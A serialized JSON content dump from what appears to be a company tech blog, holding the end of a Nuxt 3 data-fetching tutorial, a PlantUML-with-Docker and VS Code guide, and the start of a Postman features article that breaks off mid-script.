just need to change it to:",[605,14967,14970],{"className":14968,"code":14969,"language":610},[608],"const { data } = await useAsyncData('projectSearch', () => getPosts());\n",[612,14971,14969],{"__ignoreMap":66},[11,14973,14974],{},"UseAsyncData options and return values are the same as in useFetch. There is a small note when using useAsyncData or useFetch that we remember to add keys to them and remember to clearNuxtData if we want useAsyncData or useFetch to be called again when we switch pages. For example, this:",[605,14976,14979],{"className":14977,"code":14978,"language":610},[608],"\u003Cscript setup>\n    await clearNuxtData('count');\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[612,14980,14978],{"__ignoreMap":66},[11,14982,14983],{},[20,14984,14985],{},"useLazyFetch",[11,14987,14988],{},"The spelling of useLazyFetch is similar to useFetch because it is basically useFetch with the option lazy: true. Lazy will load data asynchronously, and Nuxt will load data in parallel with the code right behind. Except for useFetch, it will be done before executing the code behind it. In addition, you can use the pending property to determine if the data has been loaded (pending = true when the data has not been loaded and opposite).",[605,14990,14993],{"className":14991,"code":14992,"language":610},[608],"\u003Ctemplate>\n  \u003Cdiv>\n     Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { pending, data: count } = await useLazyFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[612,14994,14992],{"__ignoreMap":66},[11,14996,14997],{},[20,14998,14999],{},"useLazyAsyncData",[11,15001,15002],{},"useLazyAsyncData is similar to useAsyncData but with the lazy: true option. The implementation is the same as useAsyncData:",[605,15004,15007],{"className":15005,"code":15006,"language":610},[608],"const { pending, data: post } = await useLazyAsyncData('post', () => getPosts());\n",[612,15008,15006],{"__ignoreMap":66},[11,15010,15011],{},[20,15012,15013],{},"$fetch",[11,15015,15016,15017,15022],{},"Nuxt uses ",[55,15018,15021],{"href":15019,"rel":15020},"https:\u002F\u002Fgithub.com\u002Funjs\u002Fofetch",[59],"ofetch"," for global visibility with the $fetch helper to make HTTP requests in your Vue app or API routes.",[11,15024,15025],{},"We should use useFetch or useAsyncData + $fetch to prevent double fetch when fetching component data.",[605,15027,15030],{"className":15028,"code":15029,"language":610},[608],"\u003Cscript setup>\n\u002F\u002F During SSR data is fetched twice, once on the server and once on the client.\nconst dataTwice = await $fetch('\u002Fapi\u002Fitem')\n\u002F\u002F During SSR data is fetched only on the server side and transferred to the client.\nconst { data } = await useAsyncData('item', () => $fetch('\u002Fapi\u002Fitem'))\n\u002F\u002F You can also useFetch as shortcut of useAsyncData + $fetch\nconst { data } = await useFetch('\u002Fapi\u002Fitem')\n\u003C\u002Fscript>\n",[612,15031,15029],{"__ignoreMap":66},[11,15033,15034],{},"You can use $fetch for any method executed on the client-side.",[605,15036,15039],{"className":15037,"code":15038,"language":610},[608],"\u003Ctemplate>\n  \u003Cbutton @click=\"contactForm\">Contact\u003C\u002Fbutton>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nfunction contactForm() {\n  $fetch('\u002Fapi\u002Fcontact', {\n    method: 'POST',\n    body: { hello: 'world '}\n  })\n}\n\u003C\u002Fscript>\n",[612,15040,15038],{"__ignoreMap":66},[565,15042,15044],{"id":15043},"server","Server",[11,15046,15047],{},"Nuxt automatically scans files inside these directories to register API and server handlers with HMR support: ~\u002Fserver\u002Fapi, ~\u002Fserver\u002Froutes, ~\u002Fserver\u002Fmiddleware.",[11,15049,15050],{},"Ex: create a route \u002Fapi\u002Fhello with \u002Fserver\u002Fapi\u002Fhello.ts.",[605,15052,15055],{"className":15053,"code":15054,"language":610},[608],"> server\u002Fapi\u002Fhello.ts\nexport default defineEventHandler((event) => {\n  return {\n    hello: 'world'\n  }\n})\n\n> pages\u002Fhello.vue\n\u003Ctemplate>\n  \u003Cpre>{{ data }}\u003C\u002Fpre>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n  const { data } = await useFetch('\u002Fapi\u002Fhello');\n\u003C\u002Fscript>\n",[612,15056,15054],{"__ignoreMap":66},[11,15058,15059],{},"Handle file names can be suffixed with .get, .post, .put, .delete, ... to match the request's HTTP Method.",[605,15061,15064],{"className":15062,"code":15063,"language":610},[608],"> server\u002Fapi\u002Ftest.get.ts\nexport default defineEventHandler(() => 'Test get handler')\n\n> server\u002Fapi\u002Ftest.post.ts\nexport default defineEventHandler(() => 'Test post handler')\n",[612,15065,15063],{"__ignoreMap":66},[11,15067,15068],{},"Handle request with Body:",[605,15070,15073],{"className":15071,"code":15072,"language":610},[608],"> server\u002Fapi\u002Fsubmit.post.ts\nexport default defineEventHandler(async (event) => {\n    const body = await readBody(event)\n    return { body }\n})\n",[612,15074,15072],{"__ignoreMap":66},[11,15076,15077],{},"Handle request with Query:",[605,15079,15082],{"className":15080,"code":15081,"language":610},[608],"> server\u002Fapi\u002Fsearch.ts\n\u002F\u002F Template query: \u002Fapi\u002Fsearch?param1=a&param2=b\nexport default defineEventHandler((event) => {\n  const query = getQuery(event)\n  return { a: query.param1, b: query.param2 }\n})\n",[612,15083,15081],{"__ignoreMap":66},[403,15085,5257],{"id":5256},[11,15087,15088],{},"With the new version of Nuxt, in addition to the growing Vue.js community, the strength of the core technologies has gradually attracted the user community of Vue.js in general and Nuxt in particular. This has helped provide a rich and diverse documentation resource.",[11,15090,15091],{},[20,15092,15093],{},"Advantage:",[203,15095,15096,15099,15102,15105,15108,15111,15114],{},[34,15097,15098],{},"Performance has improved.",[34,15100,15101],{},"Improve mobile application performance.",[34,15103,15104],{},"Flexible and modular architectures.",[34,15106,15107],{},"Better Typescript support, plugins, and debugging tools.",[34,15109,15110],{},"SEO optimization.",[34,15112,15113],{},"Integrates well with Vue 3.",[34,15115,15116],{},"Less complicated configuration.",[11,15118,15119],{},[20,15120,15121],{},"Disadvantage:",[203,15123,15124,15127,15130,15133,15136],{},[34,15125,15126],{},"For beginners, it is necessary to know Vue.js.",[34,15128,15129],{},"Nuxt requires its standard folder structure. This can be difficult when you need to customize the folder structure or integrate with other structured external tools and libraries.",[34,15131,15132],{},"Some Vue.js libraries and plugins may not be compatible or require additional configuration when used with Nuxt.",[34,15134,15135],{},"Nuxt is a powerful framework designed for complex applications. If you have a simple project or a single-page app, Nuxt can introduce unnecessary complexity and cost.",[34,15137,15138],{},"The community is small and growing.",[11,15140,15141],{},"Statistics between popular rendering frameworks:",[438,15143],{"className":15144,"alt":66,"src":15145,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161448\u002Fdownload-chart-nuxt-next-1024x361.png",[11,15147,15149,15150,15157],{"className":15148},[2464,2465,2466,2467,2468],"\n  (\n  ",[55,15151,15156],{"href":15152,"className":15153},"https:\u002F\u002Fnpmtrends.com\u002F",[15154,15155],"!text-yellow-400","underline","\n   https:\u002F\u002Fnpmtrends.com\u002F\n  ","\n  )\n",[438,15159],{"className":15160,"alt":66,"src":15161,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161729\u002Fratio-rendering-framework-1024x470.png",[11,15163,15149,15165,15157],{"className":15164},[2464,2465,2466,2467,2468],[55,15166,15169],{"href":15167,"className":15168},"https:\u002F\u002F2022.stateofjs.com\u002F",[15154,15155],"\n    https:\u002F\u002F2022.stateofjs.com\u002F\n  ",[403,15171,1696],{"id":1695},[11,15173,15174],{},[55,15175,15176],{"href":15176,"rel":15177},"https:\u002F\u002Fnuxt.com\u002F",[59],[11,15179,15180],{},[55,15181,15152],{"href":15152,"rel":15182},[59],[11,15184,15185],{},[55,15186,15167],{"href":15167,"rel":15187},[59],{"title":66,"searchDepth":67,"depth":67,"links":15189},[15190,15191,15192,15193,15194,15195,15200,15201,15215,15216],{"id":3630,"depth":67,"text":3631},{"id":13949,"depth":67,"text":13950},{"id":14013,"depth":67,"text":14014},{"id":14061,"depth":67,"text":14062},{"id":14073,"depth":67,"text":14074},{"id":14267,"depth":67,"text":14268,"children":15196},[15197,15198,15199],{"id":14271,"depth":1306,"text":14274},{"id":14286,"depth":1306,"text":14289},{"id":14295,"depth":1306,"text":14298},{"id":14327,"depth":67,"text":14328},{"id":14403,"depth":67,"text":14404,"children":15202},[15203,15204,15205,15206,15207,15208,15209,15210,15212,15213,15214],{"id":14407,"depth":1306,"text":14410},{"id":14432,"depth":1306,"text":14435},{"id":14480,"depth":1306,"text":14483},{"id":14630,"depth":1306,"text":14633},{"id":14676,"depth":1306,"text":14679},{"id":14737,"depth":1306,"text":14740},{"id":14774,"depth":1306,"text":14777},{"id":14787,"depth":1306,"text":15211},"Plugins ",{"id":14155,"depth":1306,"text":14807},{"id":14837,"depth":1306,"text":14840},{"id":15043,"depth":1306,"text":15044},{"id":5256,"depth":67,"text":5257},{"id":1695,"depth":67,"text":1696},"HIEU NGUYEN TRUNG","2024-02-07","Introduction Nuxt is an open-source JavaScript framework based on Vue.js. The latest version is currently Nuxt 3. Nuxt 3 is an upgrade from the Nuxt framework based on Vite, Vue 3, and Nitro with support from Typescript.Nuxt simplifies the development of web applications under Server-side rendering (SSR) and Static Site Generation (SSG) methods, in addition to other methods such as CSR, ISR, ESR, and SWR. Nuxt provides a structured and convention-based approach to building Vue.js applications, allowing developers to focus on developing features instead of dealing with complex configurations.",{},"\u002Fnews\u002Fnuxt-the-intuitive-web-framework",{"title":13936,"description":15219},"news\u002Fnuxt-the-intuitive-web-framework","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fnuxt-logo-png_seeklogo-460579.png","xy4s7JxEpQGdEogcPXvL8-_DTiBKkKZA8nNHDxsjeYM",{"id":15227,"title":15228,"body":15229,"category":1319,"created by":70,"date":15454,"description":15455,"extension":72,"meta":15456,"navigation":74,"path":15457,"sections":76,"seo":15458,"stem":15459,"thumbnail":15460,"__hash__":15461},"content_en\u002Fnews\u002Fplantuml.md","PlantUML to write UML diagram by code",{"type":8,"value":15230,"toc":15439},[15231,15235,15238,15241,15244,15248,15252,15255,15263,15266,15278,15282,15285,15288,15300,15302,15306,15309,15315,15322,15325,15329,15333,15336,15339,15342,15345,15349,15352,15367,15370,15376,15380,15389,15393,15396,15399,15402,15406,15415,15418,15420,15427,15434],[403,15232,15234],{"id":15233},"about-plantuml","About PlantUML",[11,15236,15237],{},"There are many situations to explain requirements, configurations, and functions using UML diagrams in the software developments regardless of Waterfall or Agile model.",[11,15239,15240],{},"But the diagram documents are not created by text editors, by drawing applications so it is difficult to understand the gap in every version.",[11,15242,15243],{},"PlantUML helps us to create them by coding so it is easy to understand the differences by text. That is easy to manage versions.",[403,15245,15247],{"id":15246},"create-local-environment","Create Local Environment",[565,15249,15251],{"id":15250},"start-plantuml-in-local-host","Start PlantUML in local host",[11,15253,15254],{},"Explain the easy installation using Docker.",[11,15256,15257,15258,15262],{},"1. Install Docker and start it.（Check ",[55,15259,1153],{"href":15260,"rel":15261},"https:\u002F\u002Fbriswell-vn.com\u002Fen\u002Fnews\u002Flaunch-with-docker\u002F",[59]," to install Docker.）",[11,15264,15265],{},"2. Execute this command \"docker run -d -p 8080:8080 plantuml\u002Fplantuml-server:jetty\" and start the Docker container of PlantUML.",[11,15267,15268,15269,15273,15274],{},"3. Access to \"",[55,15270,15271],{"href":15271,"rel":15272},"http:\u002F\u002Flocalhost:8080\u002F",[59],"\" in your browser. It success when it is shown like below's screen. ",[438,15275],{"className":15276,"alt":66,"src":15277,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02172640\u002Fimage-20211029173703751-768x314.png",[565,15279,15281],{"id":15280},"setting-vscode","Setting VScode",[11,15283,15284],{},"1. Click Extension and、Install \"PlantUML\" plug-in.",[11,15286,15287],{},"2. Open Extension setting of it and set it as below's.",[31,15289,15290,15293],{},[34,15291,15292],{},"Plantuml: Render => PlantUMLServer",[34,15294,15295,15296],{},"Plantuml: Server => ",[55,15297,15298],{"href":15298,"rel":15299},"http:\u002F\u002Flocalhost:8080",[59],[403,15301,9587],{"id":9586},[565,15303,15305],{"id":15304},"show-preview-while-editting","Show preview while editting",[11,15307,15308],{},"1. Create an UML file, *****.uml, and copy below's code and paste to the file.",[605,15310,15313],{"className":15311,"code":15312,"language":610},[608],"@startuml \nstart \nrepeat \n:Test something; \nif (Something went wrong?) then (no) \n#palegreen:OK; \nbreak \nendif \n->NOK; \n:Alert \"Error with long text\"; \nrepeat while (Something went wrong with long text?) is (yes) not (no) \n->\u002F\u002Fmerged step\u002F\u002F; \n:Alert \"Success\"; \nstop \n@enduml\n",[612,15314,15312],{"__ignoreMap":66},[11,15316,15317,15318],{},"2. Choose \"PlantUML:Preview Current Diagram\" on the command pannel.\n",[438,15319],{"className":15320,"alt":66,"src":15321,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174035\u002Fimage-20211029165031071-768x259.png",[11,15323,15324],{},"3. Show the preview window",[438,15326],{"className":15327,"alt":66,"src":15328,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174105\u002Fimage-20211029171040393-768x749.png",[565,15330,15332],{"id":15331},"output-diagram","Output diagram",[11,15334,15335],{},"1. Choose \"PlantUML: Export Current File Diagrams\" on the command panel.",[11,15337,15338],{},"2. Choose png.",[11,15340,15341],{},"3. Created \"out\" folder and created the image file under this folder.",[11,15343,15344],{},"It is possible for us to create the Sequence diagram, the Use-case diagrams, the Class diagram, and etc besides the Activity diagram and the site has samples to create them so check up this site.",[403,15346,15348],{"id":15347},"create-system-configuration-diagram-using-aws-services","Create system configuration diagram using AWS services",[11,15350,15351],{},"Give us the icons of AWS for PlantUML on GitHub.",[11,15353,15354,15355,15360,15361,15366],{},"Previously, ",[55,15356,15359],{"href":15357,"rel":15358},"https:\u002F\u002Fgithub.com\u002Fmilo-minderbinder\u002FAWS-PlantUML",[59],"AWS-PlantUML"," was often used to. But recently it is not updated. For this reason I use ",[55,15362,15365],{"href":15363,"rel":15364},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml",[59],"aws-icons-for-plantuml"," as alternative.",[11,15368,15369],{},"The diagram using it is below's.",[605,15371,15374],{"className":15372,"code":15373,"language":610},[608],"@startuml aws-sample-system-diagram  \n\n!define AWSPuml https:\u002F\u002Fraw.githubusercontent.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fv11.1\u002Fdist \n!includeurl AWSPuml\u002FAWSCommon.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FElasticLoadBalancingApplicationLoadBalancer.puml \n!includeurl AWSPuml\u002FGroupIcons\u002FRegion.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FRoute53.puml \n!includeurl AWSPuml\u002FCompute\u002Fall.puml \n!includeurl AWSPuml\u002FStorage\u002FSimpleStorageService.puml \n!includeurl AWSPuml\u002FDatabase\u002FAuroraMySQLInstance.puml \n!includeurl AWSPuml\u002FDatabase\u002FElastiCacheElastiCacheforRedis.puml  \n\nleft to right direction  \n\nactor \"Person\" as personAlias \nRegion(cloudArea, \"Tokyo\", \"AWS\", \"\"){ \nRoute53(route53, \"Sample.com\", \"Route53\", \"\") \nElasticLoadBalancingApplicationLoadBalancer(elb, \"Production-ALB\", \"ALB\", \"\") \nEC2Instance(desktopAlias, \"Production-ec2\", \"EC2\", \"t3.micro \\n amazon linux2\") \nSimpleStorageService(storageAlias, \"Production-s3\", \"AmazonS3\", \"Host name \\n public\") \nAuroraMySQLInstance(rds,\"Database\",\"RDS Mysql\",\"Host name \\n DB name\") \nElastiCacheElastiCacheforRedis(redis,\"Redis\",\"Elastic Cache\",\"Host name\") \n}  \n    \npersonAlias --> route53 \nroute53 --> elb \nelb --> desktopAlias\nelb --> storageAlias \ndesktopAlias --> storageAlias \ndesktopAlias --> redis \nrds \u003C--> desktopAlias \n@enduml\n",[612,15375,15373],{"__ignoreMap":66},[438,15377],{"className":15378,"alt":66,"src":15379,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174825\u002Faws-sample-system-diagram-768x383.png",[11,15381,15382,15383,15388],{},"The icons you want to use besides are written ",[55,15384,15387],{"href":15385,"rel":15386},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fblob\u002Fmain\u002FAWSSymbols.md",[59],"AWSSymbols.md"," under the top folder.",[403,15390,15392],{"id":15391},"impression","Impression",[11,15394,15395],{},"Creating them by VScode causes no need to buy software licenses to create the diagrams and it is easy to work with others. And it is easy to manage the version also.",[11,15397,15398],{},"We can not adjust the position of diagrams. The setting of the position is only drawn from top to down or from left to right. For that reason, it is better to avoid using it if the people who are got explanations can not be accepted.",[11,15400,15401],{},"But for me, It is possible to focus to create the diagrams efficiently by not mind adust the position in detail and writing only important things. I think.",[403,15403,15405],{"id":15404},"note","Note",[11,15407,15408,15409,15414],{},"If you don't want to create the local environment, try to use ",[55,15410,15413],{"href":15411,"rel":15412},"http:\u002F\u002Fwww.plantuml.com\u002Fplantuml\u002Fuml\u002FSyfFKj2rKt3CoKnELR1Io4ZDoSa70000",[59],"demo"," of PlantUML site.",[11,15416,15417],{},"And then you can use Preview of VScode without Docker when you set the URL of PlantUML to \"Plantuml: Render\". But It is better to use it considering the documents that you create are confidential or not.",[403,15419,8630],{"id":8629},[11,15421,15422],{},[55,15423,15426],{"href":15424,"rel":15425},"https:\u002F\u002Fplantuml.com\u002F",[59],"PlantUML",[11,15428,15429],{},[55,15430,15433],{"href":15431,"rel":15432},"https:\u002F\u002Fnote.com\u002Fkeyskey1021\u002Fn\u002Fn12cb62301f68",[59],"Visual Studio Codeでプレビューを見ながらPlantUMLを書ける環境をDockerで作る",[11,15435,15436],{},[55,15437,15365],{"href":15363,"rel":15438},[59],{"title":66,"searchDepth":67,"depth":67,"links":15440},[15441,15442,15446,15450,15451,15452,15453],{"id":15233,"depth":67,"text":15234},{"id":15246,"depth":67,"text":15247,"children":15443},[15444,15445],{"id":15250,"depth":1306,"text":15251},{"id":15280,"depth":1306,"text":15281},{"id":9586,"depth":67,"text":9587,"children":15447},[15448,15449],{"id":15304,"depth":1306,"text":15305},{"id":15331,"depth":1306,"text":15332},{"id":15347,"depth":67,"text":15348},{"id":15391,"depth":67,"text":15392},{"id":15404,"depth":67,"text":15405},{"id":8629,"depth":67,"text":8630},"2021-11-12","About PlantUML There are many situations to explain requirements, configurations, and functions using UML diagrams in the software developments regardless of Waterfall or Agile model. But the diagram documents are not created by text editors, by drawing applications so it is difficult to understand the gap in every version.",{},"\u002Fnews\u002Fplantuml",{"title":15228,"description":15455},"news\u002Fplantuml","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03135600\u002FPlantuml_Logo_M.png","guDDlMe9wnlVuPFRum7a7RdOlbhL8-qt7MFMrFkr-xY",{"id":15463,"title":15464,"body":15465,"category":1319,"created by":70,"date":16138,"description":16139,"extension":72,"meta":16140,"navigation":74,"path":16141,"sections":76,"seo":16142,"stem":16143,"thumbnail":16144,"__hash__":16145},"content_en\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich.md","POSTMAN AND USEFUL FEATURES",{"type":8,"value":15466,"toc":16129},[15467,15474,15477,15480,15484,15487,15495,15499,15502,15506,15510,15513,15526,15529,15532,15536,15546,15557,15564,15571,15577,15581,15585,15591,15597,15602,15606,15610,15627,15631,15640,15646,15652,15658,15663,15672,15676,15680,15686,15700,15705,15710,15714,15719,15723,15727,15732,15735,15740,15744,15749,15754,15758,15762,15765,15771,15775,15783,15793,15801,15810,15825,15840,15852,15867,15871,15879,15883,15888,15891,15895,15903,15922,15926,15935,15943,15952,15961,15970,15987,15999,16013,16017,16032,16038,16042,16048,16059,16062,16066,16072,16084,16088,16094,16106,16109,16113,16117,16123],[11,15468,15469,15470,15473],{},"Since its first release in 2012, POSTMAN has gained over 25 million users for nearly a decade and has become the most popular tool used in API (",[20,15471,15472],{},"Application Programming Interface",") testing.",[11,15475,15476],{},"POSTMAN has various features, including the ability to send HTTP requests using methods such as POST, PUT, GET, and DELETE, to check returned data in formats such as JSON and XML, to manage requests using the Collection feature, and to share data with the Import \u002F Export feature. It is designed to be user-friendly and can be used by individuals without programming knowledge.",[11,15478,15479],{},"After a long time working with the basic features, you may also want to learn more advanced features of POSTMAN. If so, you should not miss the helpful information shared by Briswell Vietnam in this article.",[403,15481,15483],{"id":15482},"_1-install-postman","1. Install POSTMAN",[11,15485,15486],{},"As an open-source tool, you can easily download and install it from the following link.",[11,15488,15489,15490],{},"POSTMAN Homepage: ",[55,15491,15494],{"href":15492,"rel":15493},"https:\u002F\u002Fwww.postman.com\u002Fdownloads\u002F",[59],"https:\u002F\u002Fwww.POSTMAN.com\u002Fdownloads\u002F",[403,15496,15498],{"id":15497},"_2-useful-features","2. Useful Features",[11,15500,15501],{},"In addition to the basic features listed at the beginning of the article, POSTMAN also provides some advanced features as follows.",[565,15503,15505],{"id":15504},"_21-set-variable","2.1 Set Variable",[1693,15507,15509],{"id":15508},"_211-why-should-we-use-variables","2.1.1 Why should we use variables?",[11,15511,15512],{},"When working on requests within the same project, multiple values are often commonly used and repeatedly declared, such as domain names in URLs and Authorization values.",[11,15514,15515,15516,15520,15521,15525],{},"If the domain name changes or the Authorization value is updated to a new value, it is necessary to update the new value for each request, which can be time-consuming and prone to errors. As an example, during phase 1, the site's URL is set to ",[55,15517,15518],{"href":15518,"rel":15519},"https:\u002F\u002Fapi-example1.com\u002F",[59],". However, in phase 2, the site's URL is changed to ",[55,15522,15523],{"href":15523,"rel":15524},"https:\u002F\u002Fapi-example2.com\u002F",[59],". This would require a considerable amount of time to update the new domain name for all requests.",[11,15527,15528],{},"To solve this problem, POSTMAN provides five types of variables with different ranges, which include Global variables, Collection variables, Environment variables, Data variables and Local variables. By using a variable, when you need to update information such as the domain names in the URLs or Authorization values, simply access the variable's declared location and update the new value for the variable to call it. All requests with the current value are automatically updated to the latest value.",[11,15530,15531],{},"This article describes how to declare variables within the scope of a Collection (other variables are declared in the same way). In other words, a variable declared within a Collection is only valid within that Collection and its requests.",[1693,15533,15535],{"id":15534},"_212-declare-variables-in-postman-collection","2.1.2 Declare variables in POSTMAN Collection",[11,15537,15538,15539,15542,15543,878],{},"Step 1: Click the three dots icon (・・・) to the right of the ",[20,15540,15541],{},"Collection"," name and select ",[20,15544,15545],{},"Edit",[11,15547,15548,15549,15552,15553,15556],{},"Step 2: In the ",[20,15550,15551],{},"Edit Collection"," dropdown menu, select the ",[20,15554,15555],{},"Variables"," tab.",[11,15558,15559,15560,15563],{},"Step 3: In the ",[20,15561,15562],{},"VARIABLE"," column, enter the name of the variable you want to declare.",[11,15565,15566,15567,15570],{},"Step 4: In the ",[20,15568,15569],{},"CURRENT VALUE"," column, assign a value to the variable.",[11,15572,15573,15574,15576],{},"Step 5: Press the ",[20,15575,8042],{}," button.",[438,15578],{"className":15579,"alt":66,"src":15580,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26085721\u002FKhai-b%C3%A1o-bi%E1%BA%BFn_EN.png",[1693,15582,15584],{"id":15583},"_213-call-variable-in-request","2.1.3 Call variable in Request",[11,15586,15587,15588,878],{},"Step 1: Open the file ",[20,15589,15590],{},"Request",[11,15592,15593,15594],{},"Step 2: Call the variable using the format ",[612,15595,15596],{},"{{variable_name}}",[11,15598,15599,15600,15576],{},"Step 3: Press the ",[20,15601,8042],{},[438,15603],{"className":15604,"alt":66,"src":15605,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26090348\u002FG%E1%BB%8Di-bi%E1%BA%BFn_EN.png",[565,15607,15609],{"id":15608},"_22-console-window","2.2 Console window",[11,15611,15612,15613,15615,15616,15618,15619,15622,15623,15626],{},"Normally, we check the returned value on the ",[20,15614,654],{}," tab. However, for requests with a large number of parameters, it can be difficult to see the results in the ",[20,15617,654],{}," tab as we need to scroll down many times to check the information below. To solve this problem, we can use the ",[612,15620,15621],{},"console.log(pm.response.json())"," statement to print the returned value to the ",[20,15624,15625],{},"Console"," window and check if it's there.",[1693,15628,15630],{"id":15629},"_221-print-the-returned-value-to-the-console-window-using-the-statement-consolelogpmresponsejson","2.2.1 Print the returned value to the Console window using the statement console.log(pm.response.json()).",[11,15632,15633,15634,15636,15637,15639],{},"Step 1: Click on the ",[20,15635,15625],{}," icon in the bottom left corner of the screen to open the ",[20,15638,15625],{}," window.",[11,15641,15642,15643,15556],{},"Step 2: Select the ",[20,15644,15645],{},"Tests",[11,15647,15648,15649,15651],{},"Step 3: Write the ",[612,15650,15621],{}," statement.",[11,15653,15654,15655,15576],{},"Step 4: Press the ",[20,15656,15657],{},"Send",[11,15659,15660,15661,15639],{},"Step 5: View the returned information printed in the ",[20,15662,15625],{},[11,15664,15665,15666,15669,15670,15639],{},"Step 6: To delete the printed information, click the ",[20,15667,15668],{},"Clear"," button in the right corner of the ",[20,15671,15625],{},[438,15673],{"className":15674,"alt":66,"src":15675,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26091515\u002FC%E1%BB%ADa-s%E1%BB%95-Console_EN-1024x515.png",[1693,15677,15679],{"id":15678},"_222-about-the-statement-consolelogpmresponsejson","2.2.2 About the statement console.log(pm.response.json()).",[11,15681,15682,15683,15685],{},"The statement ",[612,15684,15621],{}," is composed of two components as follows:",[31,15687,15688,15694],{},[34,15689,15690,15693],{},[612,15691,15692],{},"console.log()",": a function used to print the value of the object being called.",[34,15695,15696,15699],{},[612,15697,15698],{},"pm.response.json()",": a syntax defined by POSTMAN to extract the information returned in the body.",[11,15701,15702],{},[20,15703,15704],{},"Example 1: The Response Body is an object, and we want to print out all the information returned in the body.",[11,15706,15707,15708,878],{},"→ Let's use the statement ",[612,15709,15621],{},[438,15711],{"className":15712,"alt":66,"src":15713,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26092620\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-1_EN-1024x711.png",[11,15715,15716],{},[20,15717,15718],{},"Example 2: The Response Body is an array, and we want to print out all the information returned in the body.",[11,15720,15707,15721,878],{},[612,15722,15621],{},[438,15724],{"className":15725,"alt":66,"src":15726,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26093221\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-2_EN-1024x574.png",[11,15728,15729],{},[20,15730,15731],{},"Example 3: The Response Body is an array, and we want to print only the information of the first object in that array.",[11,15733,15734],{},"In terms of the number and nature of response parameters, the objects in an array are equivalent, so it is only necessary to check the representation of one object.",[11,15736,15707,15737,878],{},[612,15738,15739],{},"console.log(pm.response.json()[0])",[438,15741],{"className":15742,"alt":66,"src":15743,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26093751\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-3_EN-1024x717.png",[11,15745,15746],{},[20,15747,15748],{},"Example 4: The Response Body is an object, and we want to print the value of a specific response parameter in that object.",[11,15750,15707,15751,878],{},[612,15752,15753],{},"console.log(pm.response.json().{response parameter name})",[438,15755],{"className":15756,"alt":66,"src":15757,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26094459\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%E1%BB%A5-4_EN-1024x550.png",[565,15759,15761],{"id":15760},"_23-introduce-the-script-used-to-test-the-response-parameter","2.3 Introduce the Script used to test the response parameter",[11,15763,15764],{},"For Search APIs, it is common to encounter scenarios where there is an extra or missing response parameter returned as compared to the response parameter specified in the API specification. In such cases, we can use the following script to verify if the response parameter returned from the API matches the response parameters specified in the design in object units.",[605,15766,15769],{"className":15767,"code":15768,"language":610},[608],"let expectedKeys = []\nlet returnKeys = Object.keys(pm.response.json())\nfunction checkReturnKeys(expectedKeys,returnKeys){\n    let duplicatedExpectedKeysAray = expectedKeys.filter((item,index) => {\n        return expectedKeys.indexOf(item) !== index})\n    if (duplicatedExpectedKeysAray.length === 0) {\n        let missExpectedKeys = expectedKeys.filter((item) => !returnKeys.includes(item))\n        let redundantExpectedKeys = returnKeys.filter((item) => !expectedKeys.includes(item))\n        if(!_.isEqual(expectedKeys,returnKeys)){\n            if(missExpectedKeys.length !== 0 && redundantExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, 